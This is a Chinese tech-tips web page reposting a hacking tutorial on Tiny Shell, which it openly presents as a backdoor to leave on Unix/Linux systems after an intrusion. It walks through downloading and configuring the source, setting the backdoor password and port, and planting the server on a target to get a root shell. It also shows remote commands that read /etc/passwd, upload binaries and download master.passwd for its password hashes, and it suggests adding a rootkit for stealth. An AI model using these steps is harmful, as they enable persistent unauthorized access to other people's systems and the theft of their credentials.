欢迎登陆真网站,您的到来是我们的荣幸。 登陆 注册 忘记密码? ☆设为首页 △加入收藏
欢迎加入真幸福QQ群
电脑知识: 基础知识 网络技术 操作系统 办公软件 电脑维修 电脑安全 windows7 windows8 windows10 服务器教程 平板电脑 视频播放教程 网络应用 互联网 工具软件 浏览器教程 QQ技巧 输入法教程 影视制作 YY教程 wps教程 word教程 Excel教程 PowerPoint
云南西双版纳特产小花糯玉米真空包装


大白菜U盘启动工具的使用教程
用Unlocker删除无法删除的文件
网易闪电邮高效版的使用方法
详解Adobe CS6大师版完美破解过程
按f1才能开机(press f1 to continue)解决方法
哇嘎播播软件使用教程
系统防火墙的两种独立的图形配置
超简单数码后期 用废片再创造出好照片
网络命令行的使用方法
使用ftp时出现Socket ERROR的解决方法
Tiny Shell使用说明书
【 来源:网络 】【 点击:1 】 【 发布时间:2017_03_03 08:59:59 】

  Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。

  一,前言

  随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了。通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而 Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。

  二,应用

  1,Tiny Shell简介 Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的160-bit RC4加密,以躲避嗅探器的检测具备AES-128 + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。

  2,Tiny Shell应用 测试环境: 本地:OpenBSD 3.4 IP:192.168.0.40 目标:FreeBSD 4.9 STABLE IP:192.168.0.20 首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。 #fetch http://www.ringz.org/tsh-0.6.tgz #tar zxvf tsh-0.6.tgz #cd tsh-0.6 #ls ChangeLog README aes.h pel.h sha1.h tsh.h Makefile aes.c pel.c sha1.c tsh.c tshd.c #vi tsh.h char *secret = "replace with your passWord"; //连接后门的密码,我修改为dahubaobao。这个后门的主程序是tsh.c,先看看下边的源代码 if( passWord == NULL ) { /* 1st try, using the built-in secret key */ ret = pel_client_init( server, secret ); if( ret != PEL_SUCCESS ) { close( server ); /* secret key invalid, so ask for a passWord */ password = getpass( "Password: " ); goto connect; } } //重点在这里:ret = pel_client_init( server, secret ); 把secret变量作为了参数,也就是连接后门所需要的密码。现在知道为什么修改tsh.h了吧。 #define SERVER_PORT 7586 //后门简听的端口,任意修改 if( argc == 5 && ! strcmp( argv[2], "get" ) ) { action = GET_FILE; } if( argc == 5 && ! strcmp( argv[2], "put" ) ) { action = PUT_FILE; } //该后门并没有帮助信息,所以查看这里得知Get为下载,Put为上传。当然,如果你喜欢,可以自行修改。另外,如果你想该后门输出帮助信息,可以自己添加一个Printf语句来输出帮助信息。这里给出一个最简单的方法,我们在不加参数的情况下执行./tsh的时候,会提示gethostbyname failed.,然后查看源代码,找到fprintf( stderr, "gethostbyname failed.n" );这句代码,聪明的你也许想到了,就是修改gethostbyname failed.为你想要的帮助信息,这样,在执行./tsh的时候,就会自动输出帮助信息了。呵呵,也算一种变相修改吧。下面开始编译源代码。 #make Please specify one of these targets: make linux make freebsd make openbsd make netbsd make cygwin make sunos make irix make hpux make osf #make openbsd //根据你的系统做相应的选择,10秒钟就编译好了(如图1)。 然后,会在当前目录下生成两个可执行文件,一个客户端,一个服务端,分别为:tsh,tshd。现在将tshd复制到目标系统(FreeBSD),然后执行./tshd完成安装。为了更清楚的表示我使用的环境,所以回到本地执行id命令,得知该用户的UID=1000,是普通用户;现在使用./tsh 192.168.0.20来接连目标主机(为了测试方便,我就不加密码了),好,现在我们获得了一个Root权限的Shell,再使用id命令(注意,这是在目标主机上),可以看到UID=0了,这可是Root权限哦!执行uname –a命令,回显为FreeBSD系统,可见已经成功连接后门并登陆了(如图2)。另外,该后门还可以在连接的时候插入Shell命令,语法为./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,这条命令的意思是连接192.168.0.20目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。 现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh 192.168.0.20 put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh 192.168.0.20 put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh 192.168.0.20连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为 “./tsh 192.168.0.20 get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。

  小结

  Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。

本网站由川南居提供技术支持,fkzxf版权所有 浙ICP备12031891号